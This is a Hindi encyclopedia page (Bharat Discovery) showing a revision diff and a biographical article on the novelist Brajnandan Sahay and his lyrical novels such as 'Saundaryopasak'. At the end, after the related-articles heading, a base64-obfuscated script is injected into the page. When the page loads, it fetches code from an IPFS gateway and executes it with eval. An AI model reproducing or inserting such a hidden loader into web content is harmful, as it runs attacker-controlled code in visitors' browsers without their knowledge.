ब्रजनन्दन सहाय: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
m (Text replace - "अविभावक" to "अभिभावक")
 
(One intermediate revision by one other user not shown)
Line 8: Line 8:
|मृत्यु=
|मृत्यु=
|मृत्यु स्थान=
|मृत्यु स्थान=
|अविभावक=
|अभिभावक=
|पालक माता-पिता=
|पालक माता-पिता=
|पति/पत्नी=
|पति/पत्नी=
Line 51: Line 51:
<references/>
<references/>
==संबंधित लेख==
==संबंधित लेख==
 
{{साहित्यकार}}
[[Category:उपन्यासकार]][[Category:कहानीकार]][[Category:साहित्यकार]][[Category:लेखक]][[Category:जीवनी साहित्य]][[Category:साहित्य कोश]][[Category:चरित कोश]]
[[Category:उपन्यासकार]][[Category:कहानीकार]][[Category:साहित्यकार]][[Category:लेखक]][[Category:जीवनी साहित्य]][[Category:साहित्य कोश]][[Category:चरित कोश]]
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

Latest revision as of 05:02, 29 May 2015

ब्रजनन्दन सहाय
पूरा नाम ब्रजनन्दन सहाय
जन्म 1874 ई.
कर्म भूमि भारत
मुख्य रचनाएँ 'सौन्दर्योपासक', 'राधाकांत', 'राजेन्द्र मालती' तथा 'लालचीन' आदि।
भाषा बंगला
शिक्षा बी.ए.
प्रसिद्धि साहित्यकार व उपन्यासकार
नागरिकता भारतीय
अन्य जानकारी उपन्यासों के प्रति ब्रजनन्दन सहाय का आकर्षण आरम्भ से ही था। इनका सर्वश्रेष्ठ उपन्यास 'सौन्दर्योपासक' है, जिसने हिन्दी उपन्यास में एक नये अध्याय का श्रीगणेश किया।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

ब्रजनन्दन सहाय (जन्म- 1874 ई.) प्रसिद्ध साहित्यकार तथा उपन्यासकार थे। हिन्दी साहित्य को समृद्ध बनाने तथा विकसित करने में इनका महत्त्वपूर्ण योगदान रहा है। इन्होंने कई प्रसिद्ध उपन्यासों की रचना की है।[1]

उपन्यासों के प्रति आकर्षण

ब्रजनन्दन सहाय ने बी.ए. तक शिक्षा प्राप्त की थी। उपन्यासों के प्रति आकर्षण आरम्भ से ही था। काव्य कोटि में आने वाले भावप्रधान उपन्यास, जिनमें भावों या मनोविकारों की प्रगल्भ और वेगवती व्यंजना का लक्ष्य प्रधान हो, चरित्रचित्रण या घटना वैचित्र्य का लक्ष्य नहीं, हिन्दी में न देख और बंगभाषा में काफ़ी देख बाबू ब्रजनन्दन सहाय बी.ए. ने दो उपन्यास इस ढंग के प्रस्तुत किये-

  1. 'सौन्दर्योपासक'
  2. 'राधाकांत'[2]

इनके उपन्यासों पर बंगला के 'उद्भ्रांत प्रेम' जैसे उपन्यासों का प्रभाव स्पष्टत: परिलक्षित होता है। अलंकृत गद्य में कथा या आख्यायिका कहने का प्रचलन इस देश में प्राचीन काल से चला आ रहा है। 'कादम्बरी' इसका ज्वलंत उदाहरण है। इस परिपाटी को हिन्दी में जगमोहन सिंह ने 'श्यामास्वप्न' में निभाने की कोशिश की, किंतु यह पद्धति बहुत दूर तक चल न सकी। बंगला में भावाकुल ललित गद्य में उपन्यास लिखने का प्रचलन बहुत पहले ही हो चुका था। हिन्दी पर उसका प्रभाव भी पड़ने लगा था। गद्य काव्य का आधुनिक रूप भी हिन्दी में बंगला की ही देन है। ब्रजनन्दन सहाय ने इस शैली को अपना कर कई उपन्यास लिखे। इनमें सर्वश्रेष्ठ उपन्यास 'सौन्दर्योपासक' है, जिसने हिन्दी उपन्यास में एक नये अध्याय का श्रीगणेश किया।[1]

'सौन्दर्योपासक' उपन्यास

हिन्दी में अब तक घटनाबहुल, चमत्कारिक तथा चरित्र-वैशिष्ट्य को उपस्थित करने वाले उपन्यास लिखे जाते थे। इनमें विभिन्न प्रकार कीं भावनाओं और अनुभूतियों का न तो विश्लेषण हो पाता था, न प्रेम के विभिन्न पक्षों का आधुनिक ढंग से आकलन ही किया जाता था। 'श्यामास्वप्न' में यद्यपि भावप्रधान शैली अवश्य अपनाई गयी, पर भावों के चित्रण में वहाँ परम्परा का अन्ध अनुकरण ही दिखाई पड़ता है। 'सौन्दर्योपासक' इस दृष्टि से हिन्दी का एक महत्त्वपूर्ण उपन्यास कहा जायेगा।

इस उपन्यास का नायक अपने विवाह के समय अपनी साली के रूप-सौन्दर्य से आकृष्ट होकर उससे प्रेम करने लगा। यह प्रेम सफल न हुआ। साली, जो अपने बहनोई को प्रेम करती थी, अन्य व्यक्ति को ब्याह दी गयी। विषय-प्रेम की इस दारुण व्यथा में दोनों प्रेमी घुलते रहे। प्रेम की व्यथा धीरे-धीरे साली के शरीर और मन को जर्जर बना देती है और वह यक्ष्मा के रोग का शिकार हो जाती है। सौन्दर्योपासक की पत्नी इस भेद से अपरिचित न रही और पति तथा छोटी बहन के प्रेम के इस अंत से वह निरंतर दु:खी रहने लगी और एक दिन वह भी यह संसार छोड़ कर चल बसी। पत्नी और प्रियतमा के वियोग के इस दुहरे शोक को सौन्दर्योपासक आजन्म ढोता रहा। इसी दु:खांत कथा पर 'सौन्दर्योपासक' आधारित है, जिसमें यथावसर लेखक ने मिलन और विरह की विभिन्न अवस्थाओं का बड़ा सूक्ष्म और करुणापूर्ण वर्णन किया है।[1]

ब्रजनन्दन सहाय ने और भी कई उपन्यास लिखे हैं। इसी ढंग पर उन्होंने एक दूसरा उपन्यास 'राजेन्द्र मालती' लिखा था। उनका 'लालचीन' एक ऐतिहासिक उपन्यास है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 हिन्दी साहित्य कोश, भाग 2 |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारतकोश पुस्तकालय |संपादन: डॉ. धीरेंद्र वर्मा |पृष्ठ संख्या: 394 |
  2. 'हि. सा. इ.': रामचन्द्र शुक्ल, छठा संस्करण 501

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>